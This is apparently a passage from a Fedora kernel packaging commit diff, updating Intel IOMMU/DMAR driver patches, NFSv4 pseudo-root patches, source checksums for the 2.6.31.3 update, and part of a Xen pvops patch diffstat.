+ 	/*
+ 	 * if Caching mode is set, then invalid translations are tagged
+ 	 * with domainid 0. Hence we need to pre-allocate it.
+@@ -1194,22 +1206,24 @@ void free_dmar_iommu(struct intel_iommu *iommu)
+ 	int i;
+ 	unsigned long flags;
+ 
+-	i = find_first_bit(iommu->domain_ids, cap_ndoms(iommu->cap));
+-	for (; i < cap_ndoms(iommu->cap); ) {
+-		domain = iommu->domains[i];
+-		clear_bit(i, iommu->domain_ids);
++	if ((iommu->domains) && (iommu->domain_ids)) {
++		i = find_first_bit(iommu->domain_ids, cap_ndoms(iommu->cap));
++		for (; i < cap_ndoms(iommu->cap); ) {
++			domain = iommu->domains[i];
++			clear_bit(i, iommu->domain_ids);
++
++			spin_lock_irqsave(&domain->iommu_lock, flags);
++			if (--domain->iommu_count == 0) {
++				if (domain->flags & DOMAIN_FLAG_VIRTUAL_MACHINE)
++					vm_domain_exit(domain);
++				else
++					domain_exit(domain);
++			}
++			spin_unlock_irqrestore(&domain->iommu_lock, flags);
+ 
+-		spin_lock_irqsave(&domain->iommu_lock, flags);
+-		if (--domain->iommu_count == 0) {
+-			if (domain->flags & DOMAIN_FLAG_VIRTUAL_MACHINE)
+-				vm_domain_exit(domain);
+-			else
+-				domain_exit(domain);
++			i = find_next_bit(iommu->domain_ids,
++				cap_ndoms(iommu->cap), i+1);
+ 		}
+-		spin_unlock_irqrestore(&domain->iommu_lock, flags);
+-
+-		i = find_next_bit(iommu->domain_ids,
+-			cap_ndoms(iommu->cap), i+1);
+ 	}
+ 
+ 	if (iommu->gcmd & DMA_GCMD_TE)
+@@ -1309,7 +1323,6 @@ static void iommu_detach_domain(struct dmar_domain *domain,
  }
  
  static struct iova_domain reserved_iova_list;
@@ -237,7 +753,7 @@ index 2314ad7..09606e9 100644
  static struct lock_class_key reserved_rbtree_key;
  
  static void dmar_init_reserved_ranges(void)
-@@ -1320,8 +1320,6 @@ static void dmar_init_reserved_ranges(void)
+@@ -1320,8 +1333,6 @@ static void dmar_init_reserved_ranges(void)
  
  	init_iova_domain(&reserved_iova_list, DMA_32BIT_PFN);
  
@@ -246,7 +762,17 @@ index 2314ad7..09606e9 100644
  	lockdep_set_class(&reserved_iova_list.iova_rbtree_lock,
  		&reserved_rbtree_key);
  
-@@ -1958,14 +1956,24 @@ static int iommu_prepare_identity_map(struct pci_dev *pdev,
+@@ -1924,6 +1935,9 @@ error:
+ }
+ 
+ static int iommu_identity_mapping;
++#define IDENTMAP_ALL		1
++#define IDENTMAP_GFX		2
++#define IDENTMAP_AZALIA		4
+ 
+ static int iommu_domain_identity_map(struct dmar_domain *domain,
+ 				     unsigned long long start,
+@@ -1958,14 +1972,35 @@ static int iommu_prepare_identity_map(struct pci_dev *pdev,
  	struct dmar_domain *domain;
  	int ret;
  
@@ -271,11 +797,22 @@ index 2314ad7..09606e9 100644
 +	printk(KERN_INFO
 +	       "IOMMU: Setting identity map for device %s [0x%Lx - 0x%Lx]\n",
 +	       pci_name(pdev), start, end);
++	
++	if (end >> agaw_to_width(domain->agaw)) {
++		WARN(1, "Your BIOS is broken; RMRR exceeds permitted address width (%d bits)\n"
++		     "BIOS vendor: %s; Ver: %s; Product Version: %s\n",
++		     agaw_to_width(domain->agaw),
++		     dmi_get_system_info(DMI_BIOS_VENDOR),
++		     dmi_get_system_info(DMI_BIOS_VERSION),
++		     dmi_get_system_info(DMI_PRODUCT_VERSION));
++		ret = -EIO;
++		goto error;
++	}
 +
  	ret = iommu_domain_identity_map(domain, start, end);
  	if (ret)
  		goto error;
-@@ -2016,23 +2024,6 @@ static inline void iommu_prepare_isa(void)
+@@ -2016,23 +2051,6 @@ static inline void iommu_prepare_isa(void)
  }
  #endif /* !CONFIG_DMAR_FLPY_WA */
  
@@ -299,16 +836,16 @@ index 2314ad7..09606e9 100644
  static int md_domain_init(struct dmar_domain *domain, int guest_width);
  
  static int __init si_domain_work_fn(unsigned long start_pfn,
-@@ -2047,7 +2038,7 @@ static int __init si_domain_work_fn(unsigned long start_pfn,
+@@ -2047,7 +2065,7 @@ static int __init si_domain_work_fn(unsigned long start_pfn,
  
  }
  
 -static int si_domain_init(void)
-+static int si_domain_init(int hw)
++static int __init si_domain_init(int hw)
  {
  	struct dmar_drhd_unit *drhd;
  	struct intel_iommu *iommu;
-@@ -2074,6 +2065,9 @@ static int si_domain_init(void)
+@@ -2074,6 +2092,9 @@ static int si_domain_init(void)
  
  	si_domain->flags = DOMAIN_FLAG_STATIC_IDENTITY;
  
@@ -318,7 +855,7 @@ index 2314ad7..09606e9 100644
  	for_each_online_node(nid) {
  		work_with_active_regions(nid, si_domain_work_fn, &ret);
  		if (ret)
-@@ -2100,15 +2094,23 @@ static int identity_mapping(struct pci_dev *pdev)
+@@ -2100,15 +2121,23 @@ static int identity_mapping(struct pci_dev *pdev)
  }
  
  static int domain_add_dev_info(struct dmar_domain *domain,
@@ -343,12 +880,29 @@ index 2314ad7..09606e9 100644
  	info->segment = pci_domain_nr(pdev->bus);
  	info->bus = pdev->bus->number;
  	info->devfn = pdev->devfn;
-@@ -2165,27 +2167,25 @@ static int iommu_should_identity_map(struct pci_dev *pdev, int startup)
+@@ -2126,8 +2155,14 @@ static int domain_add_dev_info(struct dmar_domain *domain,
+ 
+ static int iommu_should_identity_map(struct pci_dev *pdev, int startup)
+ {
+-	if (iommu_identity_mapping == 2)
+-		return IS_GFX_DEVICE(pdev);
++	if ((iommu_identity_mapping & IDENTMAP_AZALIA) && IS_AZALIA(pdev))
++		return 1;
++
++	if ((iommu_identity_mapping & IDENTMAP_GFX) && IS_GFX_DEVICE(pdev))
++		return 1;
++
++	if (!(iommu_identity_mapping & IDENTMAP_ALL))
++		return 0;
+ 
+ 	/*
+ 	 * We want to start off with all devices in the 1:1 domain, and
+@@ -2165,27 +2200,25 @@ static int iommu_should_identity_map(struct pci_dev *pdev, int startup)
  	return 1;
  }
  
 -static int iommu_prepare_static_identity_mapping(void)
-+static int iommu_prepare_static_identity_mapping(int hw)
++static int __init iommu_prepare_static_identity_mapping(int hw)
  {
  	struct pci_dev *pdev = NULL;
  	int ret;
@@ -377,7 +931,7 @@ index 2314ad7..09606e9 100644
  		}
  	}
  
-@@ -2199,14 +2199,6 @@ int __init init_dmars(void)
+@@ -2199,14 +2232,6 @@ int __init init_dmars(void)
  	struct pci_dev *pdev;
  	struct intel_iommu *iommu;
  	int i, ret;
@@ -392,7 +946,7 @@ index 2314ad7..09606e9 100644
  
  	/*
  	 * for each drhd
-@@ -2234,7 +2226,6 @@ int __init init_dmars(void)
+@@ -2234,7 +2259,6 @@ int __init init_dmars(void)
  	deferred_flush = kzalloc(g_num_of_iommus *
  		sizeof(struct deferred_flush_tables), GFP_KERNEL);
  	if (!deferred_flush) {
@@ -400,7 +954,7 @@ index 2314ad7..09606e9 100644
  		ret = -ENOMEM;
  		goto error;
  	}
-@@ -2261,14 +2252,8 @@ int __init init_dmars(void)
+@@ -2261,14 +2285,8 @@ int __init init_dmars(void)
  			goto error;
  		}
  		if (!ecap_pass_through(iommu->ecap))
@@ -416,16 +970,19 @@ index 2314ad7..09606e9 100644
  
  	/*
  	 * Start from the sane iommu hardware state.
-@@ -2323,64 +2308,57 @@ int __init init_dmars(void)
+@@ -2323,64 +2341,60 @@ int __init init_dmars(void)
  		}
  	}
  
 +	if (iommu_pass_through)
-+		iommu_identity_mapping = 1;
++		iommu_identity_mapping |= IDENTMAP_ALL;
++
 +#ifdef CONFIG_DMAR_BROKEN_GFX_WA
-+	else
-+		iommu_identity_mapping = 2;
++	iommu_identity_mapping |= IDENTMAP_GFX;
 +#endif
++
++	check_tylersburg_isoch();
++
  	/*
 -	 * If pass through is set and enabled, context entries of all pci
 -	 * devices are intialized by pass through translation type.
@@ -522,7 +1079,21 @@ index 2314ad7..09606e9 100644
  	/*
  	 * for each drhd
  	 *   enable fault log
-@@ -2454,8 +2432,7 @@ static struct iova *intel_alloc_iova(struct device *dev,
+@@ -2403,11 +2417,12 @@ int __init init_dmars(void)
+ 
+ 		iommu->flush.flush_context(iommu, 0, 0, 0, DMA_CCMD_GLOBAL_INVL);
+ 		iommu->flush.flush_iotlb(iommu, 0, 0, 0, DMA_TLB_GLOBAL_FLUSH);
+-		iommu_disable_protect_mem_regions(iommu);
+ 
+ 		ret = iommu_enable_translation(iommu);
+ 		if (ret)
+ 			goto error;
++
++		iommu_disable_protect_mem_regions(iommu);
+ 	}
+ 
+ 	return 0;
+@@ -2454,8 +2469,7 @@ static struct iova *intel_alloc_iova(struct device *dev,
  	return iova;
  }
  
@@ -532,7 +1103,7 @@ index 2314ad7..09606e9 100644
  {
  	struct dmar_domain *domain;
  	int ret;
-@@ -2483,6 +2460,18 @@ get_valid_domain_for_dev(struct pci_dev *pdev)
+@@ -2483,6 +2497,18 @@ get_valid_domain_for_dev(struct pci_dev *pdev)
  	return domain;
  }
  
@@ -551,7 +1122,7 @@ index 2314ad7..09606e9 100644
  static int iommu_dummy(struct pci_dev *pdev)
  {
  	return pdev->dev.archdata.iommu == DUMMY_DEVICE_DOMAIN_INFO;
-@@ -2525,10 +2514,10 @@ static int iommu_no_mapping(struct device *dev)
+@@ -2525,10 +2551,10 @@ static int iommu_no_mapping(struct device *dev)
  		 */
  		if (iommu_should_identity_map(pdev, 0)) {
  			int ret;
@@ -566,7 +1137,20 @@ index 2314ad7..09606e9 100644
  			if (!ret) {
  				printk(KERN_INFO "64bit %s uses identity mapping\n",
  				       pci_name(pdev));
-@@ -2733,12 +2722,6 @@ static void intel_unmap_page(struct device *dev, dma_addr_t dev_addr,
+@@ -2637,10 +2663,9 @@ static void flush_unmaps(void)
+ 			unsigned long mask;
+ 			struct iova *iova = deferred_flush[i].iova[j];
+ 
+-			mask = (iova->pfn_hi - iova->pfn_lo + 1) << PAGE_SHIFT;
+-			mask = ilog2(mask >> VTD_PAGE_SHIFT);
++			mask = ilog2(mm_to_dma_pfn(iova->pfn_hi - iova->pfn_lo + 1));
+ 			iommu_flush_dev_iotlb(deferred_flush[i].domain[j],
+-					iova->pfn_lo << PAGE_SHIFT, mask);
++					(uint64_t)iova->pfn_lo << PAGE_SHIFT, mask);
+ 			__free_iova(&deferred_flush[i].domain[j]->iovad, iova);
+ 		}
+ 		deferred_flush[i].next = 0;
+@@ -2733,12 +2758,6 @@ static void intel_unmap_page(struct device *dev, dma_addr_t dev_addr,
  	}
  }
  
@@ -579,7 +1163,7 @@ index 2314ad7..09606e9 100644
  static void *intel_alloc_coherent(struct device *hwdev, size_t size,
  				  dma_addr_t *dma_handle, gfp_t flags)
  {
-@@ -2771,7 +2754,7 @@ static void intel_free_coherent(struct device *hwdev, size_t size, void *vaddr,
+@@ -2771,7 +2790,7 @@ static void intel_free_coherent(struct device *hwdev, size_t size, void *vaddr,
  	size = PAGE_ALIGN(size);
  	order = get_order(size);
  
@@ -588,7 +1172,7 @@ index 2314ad7..09606e9 100644
  	free_pages((unsigned long)vaddr, order);
  }
  
-@@ -2807,11 +2790,18 @@ static void intel_unmap_sg(struct device *hwdev, struct scatterlist *sglist,
+@@ -2807,11 +2826,18 @@ static void intel_unmap_sg(struct device *hwdev, struct scatterlist *sglist,
  	/* free page tables */
  	dma_pte_free_pagetable(domain, start_pfn, last_pfn);
  
@@ -612,7 +1196,17 @@ index 2314ad7..09606e9 100644
  }
  
  static int intel_nontranslate_map_sg(struct device *hddev,
-@@ -3194,7 +3184,7 @@ int __init intel_iommu_init(void)
+@@ -3055,8 +3081,8 @@ static int init_iommu_hw(void)
+ 					   DMA_CCMD_GLOBAL_INVL);
+ 		iommu->flush.flush_iotlb(iommu, 0, 0, 0,
+ 					 DMA_TLB_GLOBAL_FLUSH);
+-		iommu_disable_protect_mem_regions(iommu);
+ 		iommu_enable_translation(iommu);
++		iommu_disable_protect_mem_regions(iommu);
+ 	}
+ 
+ 	return 0;
+@@ -3194,7 +3220,7 @@ int __init intel_iommu_init(void)
  	 * Check the need for DMA-remapping initialization now.
  	 * Above initialization will also be used by Interrupt-remapping.
  	 */
@@ -621,7 +1215,7 @@ index 2314ad7..09606e9 100644
  		return -ENODEV;
  
  	iommu_init_mempool();
-@@ -3214,14 +3204,7 @@ int __init intel_iommu_init(void)
+@@ -3214,14 +3240,7 @@ int __init intel_iommu_init(void)
  
  	init_timer(&unmap_timer);
  	force_iommu = 1;
@@ -637,7 +1231,7 @@ index 2314ad7..09606e9 100644
  
  	init_iommu_sysfs();
  
-@@ -3504,7 +3487,6 @@ static int intel_iommu_attach_device(struct iommu_domain *domain,
+@@ -3504,7 +3523,6 @@ static int intel_iommu_attach_device(struct iommu_domain *domain,
  	struct intel_iommu *iommu;
  	int addr_width;
  	u64 end;
@@ -645,7 +1239,7 @@ index 2314ad7..09606e9 100644
  
  	/* normally pdev is not mapped */
  	if (unlikely(domain_context_mapped(pdev))) {
-@@ -3536,12 +3518,7 @@ static int intel_iommu_attach_device(struct iommu_domain *domain,
+@@ -3536,12 +3554,7 @@ static int intel_iommu_attach_device(struct iommu_domain *domain,
  		return -EFAULT;
  	}
  
@@ -659,6 +1253,94 @@ index 2314ad7..09606e9 100644
  }
  
  static void intel_iommu_detach_device(struct iommu_domain *domain,
+@@ -3658,3 +3671,61 @@ static void __devinit quirk_iommu_rwbf(struct pci_dev *dev)
+ }
+ 
+ DECLARE_PCI_FIXUP_HEADER(PCI_VENDOR_ID_INTEL, 0x2a40, quirk_iommu_rwbf);
++
++/* On Tylersburg chipsets, some BIOSes have been known to enable the
++   ISOCH DMAR unit for the Azalia sound device, but not give it any
++   TLB entries, which causes it to deadlock. Check for that.  We do
++   this in a function called from init_dmars(), instead of in a PCI
++   quirk, because we don't want to print the obnoxious "BIOS broken"
++   message if VT-d is actually disabled.
++*/
++static void __init check_tylersburg_isoch(void)
++{
++	struct pci_dev *pdev;
++	uint32_t vtisochctrl;
++
++	/* If there's no Azalia in the system anyway, forget it. */
++	pdev = pci_get_device(PCI_VENDOR_ID_INTEL, 0x3a3e, NULL);
++	if (!pdev)
++		return;
++	pci_dev_put(pdev);
++
++	/* System Management Registers. Might be hidden, in which case
++	   we can't do the sanity check. But that's OK, because the
++	   known-broken BIOSes _don't_ actually hide it, so far. */
++	pdev = pci_get_device(PCI_VENDOR_ID_INTEL, 0x342e, NULL);
++	if (!pdev)
++		return;
++
++	if (pci_read_config_dword(pdev, 0x188, &vtisochctrl)) {
++		pci_dev_put(pdev);
++		return;
++	}
++
++	pci_dev_put(pdev);
++
++	/* If Azalia DMA is routed to the non-isoch DMAR unit, fine. */
++	if (vtisochctrl & 1)
++		return;
++
++	/* Drop all bits other than the number of TLB entries */
++	vtisochctrl &= 0x1c;
++
++	/* If we have the recommended number of TLB entries (16), fine. */
++	if (vtisochctrl == 0x10)
++		return;
++
++	/* Zero TLB entries? You get to ride the short bus to school. */
++	if (!vtisochctrl) {
++		WARN(1, "Your BIOS is broken; DMA routed to ISOCH DMAR unit but no TLB space.\n"
++		     "BIOS vendor: %s; Ver: %s; Product Version: %s\n",
++		     dmi_get_system_info(DMI_BIOS_VENDOR),
++		     dmi_get_system_info(DMI_BIOS_VERSION),
++		     dmi_get_system_info(DMI_PRODUCT_VERSION));
++		iommu_identity_mapping |= IDENTMAP_AZALIA;
++		return;
++	}
++	
++	printk(KERN_WARNING "DMAR: Recommended TLB entries for ISOCH unit is 16; your BIOS set %d\n",
++	       vtisochctrl);
++}
+diff --git a/drivers/pci/intr_remapping.c b/drivers/pci/intr_remapping.c
+index 4f5b871..ac06514 100644
+--- a/drivers/pci/intr_remapping.c
++++ b/drivers/pci/intr_remapping.c
+@@ -611,6 +611,9 @@ int __init intr_remapping_supported(void)
+ 	if (disable_intremap)
+ 		return 0;
+ 
++	if (!dmar_ir_support())
++		return 0;
++
+ 	for_each_drhd_unit(drhd) {
+ 		struct intel_iommu *iommu = drhd->iommu;
+ 
+@@ -626,6 +629,11 @@ int __init enable_intr_remapping(int eim)
+ 	struct dmar_drhd_unit *drhd;
+ 	int setup = 0;
+ 
++	if (parse_ioapics_under_ir() != 1) {
++		printk(KERN_INFO "Not enable interrupt remapping\n");
++		return -1;
++	}
++
+ 	for_each_drhd_unit(drhd) {
+ 		struct intel_iommu *iommu = drhd->iommu;
+ 
 diff --git a/drivers/pci/iova.c b/drivers/pci/iova.c
 index 46dd440..7914951 100644
 --- a/drivers/pci/iova.c
@@ -729,6 +1411,17 @@ index 46dd440..7914951 100644
 -	spin_unlock_irqrestore(&from->iova_alloc_lock, flags);
 +	spin_unlock_irqrestore(&from->iova_rbtree_lock, flags);
  }
+diff --git a/include/linux/intel-iommu.h b/include/linux/intel-iommu.h
+index 482dc91..4f0a72a 100644
+--- a/include/linux/intel-iommu.h
++++ b/include/linux/intel-iommu.h
+@@ -360,4 +360,6 @@ extern void qi_flush_dev_iotlb(struct intel_iommu *iommu, u16 sid, u16 qdep,
+ 
+ extern int qi_submit_sync(struct qi_desc *desc, struct intel_iommu *iommu);
+ 
++extern int dmar_ir_support(void);
++
+ #endif
 diff --git a/include/linux/iova.h b/include/linux/iova.h
 index 228f6c9..76a0759 100644
 --- a/include/linux/iova.h

linux-2.6-nfsd4-proots.patch:
 fs/nfsd/export.c            |   12 +++++-
 fs/nfsd/nfs4xdr.c           |   83 ++++++++++++++++++++++++++++++++++++--------
 fs/nfsd/nfsfh.c             |   32 ++++++++++++++++
 fs/nfsd/vfs.c               |   77 ++++++++++++++++++++++++++++++++++++++--
 include/linux/nfsd/export.h |    3 +
 include/linux/nfsd/nfsd.h   |    2 +
 6 files changed, 189 insertions(+), 20 deletions(-)

Index: linux-2.6-nfsd4-proots.patch
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/devel/linux-2.6-nfsd4-proots.patch,v
retrieving revision 1.1.2.3
retrieving revision 1.1.2.4
diff -u -p -r1.1.2.3 -r1.1.2.4
--- linux-2.6-nfsd4-proots.patch	10 Sep 2009 14:00:29 -0000	1.1.2.3
+++ linux-2.6-nfsd4-proots.patch	10 Oct 2009 15:04:15 -0000	1.1.2.4
@@ -1,6 +1,6 @@
-diff -up linux-2.6.30.noarch/fs/nfsd/export.c.save linux-2.6.30.noarch/fs/nfsd/export.c
---- linux-2.6.30.noarch/fs/nfsd/export.c.save	2009-09-09 15:11:54.702436000 -0400
-+++ linux-2.6.30.noarch/fs/nfsd/export.c	2009-09-09 15:12:44.520167000 -0400
+diff -up linux-2.6.31.noarch/fs/nfsd/export.c.orig linux-2.6.31.noarch/fs/nfsd/export.c
+--- linux-2.6.31.noarch/fs/nfsd/export.c.orig	2009-09-09 18:13:59.000000000 -0400
++++ linux-2.6.31.noarch/fs/nfsd/export.c	2009-09-29 11:29:40.000000000 -0400
 @@ -104,6 +104,7 @@ static int expkey_parse(struct cache_det
  	if (mesg[mlen-1] != '\n')
  		return -EINVAL;
@@ -63,9 +63,9 @@ diff -up linux-2.6.30.noarch/fs/nfsd/exp
  		seq_puts(m, "# Path Client(Flags) # IPs\n");
  		return 0;
  	}
-diff -up linux-2.6.30.noarch/fs/nfsd/nfs4xdr.c.save linux-2.6.30.noarch/fs/nfsd/nfs4xdr.c
---- linux-2.6.30.noarch/fs/nfsd/nfs4xdr.c.save	2009-09-09 15:11:54.707433000 -0400
-+++ linux-2.6.30.noarch/fs/nfsd/nfs4xdr.c	2009-09-09 15:12:36.408695000 -0400
+diff -up linux-2.6.31.noarch/fs/nfsd/nfs4xdr.c.orig linux-2.6.31.noarch/fs/nfsd/nfs4xdr.c
+--- linux-2.6.31.noarch/fs/nfsd/nfs4xdr.c.orig	2009-09-09 18:13:59.000000000 -0400
++++ linux-2.6.31.noarch/fs/nfsd/nfs4xdr.c	2009-09-29 11:29:40.000000000 -0400
 @@ -2176,28 +2176,61 @@ static inline int attributes_need_mount(
  	return 0;
  }
@@ -191,9 +191,9 @@ diff -up linux-2.6.30.noarch/fs/nfsd/nfs
  	switch (nfserr) {
  	case nfs_ok:
  		p += buflen;
-diff -up linux-2.6.30.noarch/fs/nfsd/nfsfh.c.save linux-2.6.30.noarch/fs/nfsd/nfsfh.c
---- linux-2.6.30.noarch/fs/nfsd/nfsfh.c.save	2009-09-09 15:11:54.711427000 -0400
-+++ linux-2.6.30.noarch/fs/nfsd/nfsfh.c	2009-09-09 15:12:48.357903000 -0400
+diff -up linux-2.6.31.noarch/fs/nfsd/nfsfh.c.orig linux-2.6.31.noarch/fs/nfsd/nfsfh.c
+--- linux-2.6.31.noarch/fs/nfsd/nfsfh.c.orig	2009-09-09 18:13:59.000000000 -0400
++++ linux-2.6.31.noarch/fs/nfsd/nfsfh.c	2009-09-29 11:29:40.000000000 -0400
 @@ -109,6 +109,30 @@ static __be32 nfsd_setuser_and_check_por
  	return nfserrno(nfsd_setuser(rqstp, exp));
  }
@@ -240,9 +240,9 @@ diff -up linux-2.6.30.noarch/fs/nfsd/nfs
  	}
  
  	error = nfsd_mode_check(rqstp, dentry->d_inode->i_mode, type);
-diff -up linux-2.6.30.noarch/fs/nfsd/vfs.c.save linux-2.6.30.noarch/fs/nfsd/vfs.c
---- linux-2.6.30.noarch/fs/nfsd/vfs.c.save	2009-09-09 15:11:54.715423000 -0400
-+++ linux-2.6.30.noarch/fs/nfsd/vfs.c	2009-09-09 15:12:39.978431000 -0400
+diff -up linux-2.6.31.noarch/fs/nfsd/vfs.c.orig linux-2.6.31.noarch/fs/nfsd/vfs.c
+--- linux-2.6.31.noarch/fs/nfsd/vfs.c.orig	2009-09-09 18:13:59.000000000 -0400
++++ linux-2.6.31.noarch/fs/nfsd/vfs.c	2009-09-29 11:31:06.000000000 -0400
 @@ -89,6 +89,12 @@ struct raparm_hbucket {
  #define RAPARM_HASH_MASK	(RAPARM_HASH_SIZE-1)
  static struct raparm_hbucket	raparm_hash[RAPARM_HASH_SIZE];
@@ -339,6 +339,15 @@ diff -up linux-2.6.30.noarch/fs/nfsd/vfs
  
  	/* Lookup the name, but don't follow links */
  	if (isdotent(name, len)) {
+@@ -162,7 +219,7 @@ nfsd_lookup_dentry(struct svc_rqst *rqst
+ 			dentry = dget(dparent);
+ 		else if (dparent != exp->ex_path.dentry)
+ 			dentry = dget_parent(dparent);
+-		else if (!EX_NOHIDE(exp))
++		else if (!EX_NOHIDE(exp) && !nfsd_v4client(rqstp))
+ 			dentry = dget(dparent); /* .. == . just like at / */
+ 		else {
+ 			/* checking mountpoint crossing is very different when stepping up */
 @@ -199,9 +256,21 @@ nfsd_lookup_dentry(struct svc_rqst *rqst
  		if (IS_ERR(dentry))
  			goto out_nfserr;
@@ -362,9 +371,9 @@ diff -up linux-2.6.30.noarch/fs/nfsd/vfs
  			if ((host_err = nfsd_cross_mnt(rqstp, &dentry, &exp))) {
  				dput(dentry);
  				goto out_nfserr;
-diff -up linux-2.6.30.noarch/include/linux/nfsd/export.h.save linux-2.6.30.noarch/include/linux/nfsd/export.h
---- linux-2.6.30.noarch/include/linux/nfsd/export.h.save	2009-09-09 15:11:54.719419000 -0400
-+++ linux-2.6.30.noarch/include/linux/nfsd/export.h	2009-09-09 15:12:29.064157000 -0400
+diff -up linux-2.6.31.noarch/include/linux/nfsd/export.h.orig linux-2.6.31.noarch/include/linux/nfsd/export.h
+--- linux-2.6.31.noarch/include/linux/nfsd/export.h.orig	2009-09-09 18:13:59.000000000 -0400
++++ linux-2.6.31.noarch/include/linux/nfsd/export.h	2009-09-29 11:29:40.000000000 -0400
 @@ -39,7 +39,8 @@
  #define NFSEXP_FSID		0x2000
  #define	NFSEXP_CROSSMOUNT	0x4000
@@ -375,9 +384,9 @@ diff -up linux-2.6.30.noarch/include/lin
  
  /* The flags that may vary depending on security flavor: */
  #define NFSEXP_SECINFO_FLAGS	(NFSEXP_READONLY | NFSEXP_ROOTSQUASH \
-diff -up linux-2.6.30.noarch/include/linux/nfsd/nfsd.h.save linux-2.6.30.noarch/include/linux/nfsd/nfsd.h
---- linux-2.6.30.noarch/include/linux/nfsd/nfsd.h.save	2009-09-09 15:11:54.723415000 -0400
-+++ linux-2.6.30.noarch/include/linux/nfsd/nfsd.h	2009-09-09 15:12:33.025896000 -0400
+diff -up linux-2.6.31.noarch/include/linux/nfsd/nfsd.h.orig linux-2.6.31.noarch/include/linux/nfsd/nfsd.h
+--- linux-2.6.31.noarch/include/linux/nfsd/nfsd.h.orig	2009-09-09 18:13:59.000000000 -0400
++++ linux-2.6.31.noarch/include/linux/nfsd/nfsd.h	2009-09-29 11:29:40.000000000 -0400
 @@ -76,6 +76,8 @@ int		nfsd_racache_init(int);
  void		nfsd_racache_shutdown(void);
  int		nfsd_cross_mnt(struct svc_rqst *rqstp, struct dentry **dpp,


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/devel/sources,v
retrieving revision 1.976.2.32
retrieving revision 1.976.2.33
diff -u -p -r1.976.2.32 -r1.976.2.33
--- sources	24 Sep 2009 21:05:14 -0000	1.976.2.32
+++ sources	10 Oct 2009 15:04:17 -0000	1.976.2.33
@@ -1,2 +1,2 @@
 84c077a37684e4cbfa67b18154390d8a  linux-2.6.31.tar.bz2
-43977a0a264dd7d173b6ef122c62fb20  patch-2.6.31.1.bz2
+24d60ad6645211e2c08dc1c1c578b249  patch-2.6.31.3.bz2


Index: upstream
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/devel/upstream,v
retrieving revision 1.888.2.31
retrieving revision 1.888.2.32
diff -u -p -r1.888.2.31 -r1.888.2.32
--- upstream	24 Sep 2009 21:05:14 -0000	1.888.2.31
+++ upstream	10 Oct 2009 15:04:17 -0000	1.888.2.32
@@ -1,2 +1,2 @@
 linux-2.6.31.tar.bz2
-patch-2.6.31.1.bz2
+patch-2.6.31.3.bz2

xen.pvops.patch:
 arch/x86/Kconfig                           |   14 
 arch/x86/Makefile                          |    2 
 arch/x86/include/asm/agp.h                 |   17 
 arch/x86/include/asm/e820.h                |    2 
 arch/x86/include/asm/fixmap.h              |   25 
 arch/x86/include/asm/i387.h                |    1 
 arch/x86/include/asm/io.h                  |   15 
 arch/x86/include/asm/io_apic.h             |    7 
 arch/x86/include/asm/microcode.h           |    9 
 arch/x86/include/asm/paravirt.h            |  746 -------------
 arch/x86/include/asm/paravirt_types.h      |  724 ++++++++++++
 arch/x86/include/asm/pci.h                 |    8 
 arch/x86/include/asm/pci_x86.h             |    2 
 arch/x86/include/asm/pgtable.h             |    3 
 arch/x86/include/asm/processor.h           |    4 
 arch/x86/include/asm/pvclock.h             |    6 
 arch/x86/include/asm/syscalls.h            |    8 
 arch/x86/include/asm/tlbflush.h            |    6 
 arch/x86/include/asm/vsyscall.h            |    3 
 arch/x86/include/asm/xen/hypercall.h       |   44 
 arch/x86/include/asm/xen/interface.h       |    8 
 arch/x86/include/asm/xen/interface_32.h    |    5 
 arch/x86/include/asm/xen/interface_64.h    |   13 
 arch/x86/include/asm/xen/iommu.h           |   12 
 arch/x86/include/asm/xen/page.h            |   16 
 arch/x86/include/asm/xen/pci.h             |   37 
 arch/x86/include/asm/xen/swiotlb.h         |   10 
 arch/x86/kernel/Makefile                   |    6 
 arch/x86/kernel/acpi/boot.c                |   18 
 arch/x86/kernel/acpi/processor.c           |    4 
 arch/x86/kernel/acpi/sleep.c               |    2 
 arch/x86/kernel/apic/io_apic.c             |   49 
 arch/x86/kernel/cpu/mtrr/Makefile          |    1 
 arch/x86/kernel/cpu/mtrr/amd.c             |    6 
 arch/x86/kernel/cpu/mtrr/centaur.c         |    6 
 arch/x86/kernel/cpu/mtrr/cyrix.c           |    6 
 arch/x86/kernel/cpu/mtrr/generic.c         |   10 
 arch/x86/kernel/cpu/mtrr/main.c            |   19 
 arch/x86/kernel/cpu/mtrr/mtrr.h            |   11 
 arch/x86/kernel/cpu/mtrr/xen.c             |  104 +
 arch/x86/kernel/e820.c                     |   30 
 arch/x86/kernel/hpet.c                     |    2 
 arch/x86/kernel/ioport.c                   |   40 
 arch/x86/kernel/microcode_core.c           |    5 
 arch/x86/kernel/microcode_xen.c            |  200 +++
 arch/x86/kernel/paravirt.c                 |    1 
 arch/x86/kernel/pci-dma.c                  |    6 
 arch/x86/kernel/pci-swiotlb.c              |   25 
 arch/x86/kernel/process.c                  |   27 
 arch/x86/kernel/process_32.c               |   27 
 arch/x86/kernel/process_64.c               |   33 
 arch/x86/kernel/pvclock.c                  |  180 ++-
 arch/x86/kernel/setup.c                    |    4 
 arch/x86/kernel/traps.c                    |   33 
 arch/x86/kernel/tsc.c                      |    2 
 arch/x86/mm/Makefile                       |    7 
 arch/x86/mm/init_32.c                      |   42 
 arch/x86/mm/ioremap.c                      |   72 -
 arch/x86/mm/pat.c                          |    2 
 arch/x86/mm/pgtable.c                      |   10 
 arch/x86/mm/physaddr.c                     |   70 +
 arch/x86/mm/physaddr.h                     |   10 
 arch/x86/mm/tlb.c                          |   35 
 arch/x86/pci/Makefile                      |    1 
 arch/x86/pci/common.c                      |   18 
 arch/x86/pci/i386.c                        |    3 
 arch/x86/pci/init.c                        |    6 
 arch/x86/pci/xen.c                         |   51 
 arch/x86/xen/Kconfig                       |   38 
 arch/x86/xen/Makefile                      |    5 
 arch/x86/xen/apic.c                        |   57 +
 arch/x86/xen/enlighten.c                   |   85 +
 arch/x86/xen/mmu.c                         |  460 ++++++++
 arch/x86/xen/pci-swiotlb.c                 |  997 +++++++++++++++++
 arch/x86/xen/pci.c                         |  111 +
 arch/x86/xen/setup.c                       |  108 +
 arch/x86/xen/smp.c                         |    4 
 arch/x86/xen/time.c                        |   56 
 arch/x86/xen/vga.c                         |   67 +
 arch/x86/xen/xen-ops.h                     |   27 
 block/blk-core.c                           |    2 
 drivers/acpi/acpica/hwsleep.c              |   17 
 drivers/acpi/processor_core.c              |   29 
 drivers/acpi/processor_idle.c              |   23 
 drivers/acpi/processor_perflib.c           |   10 
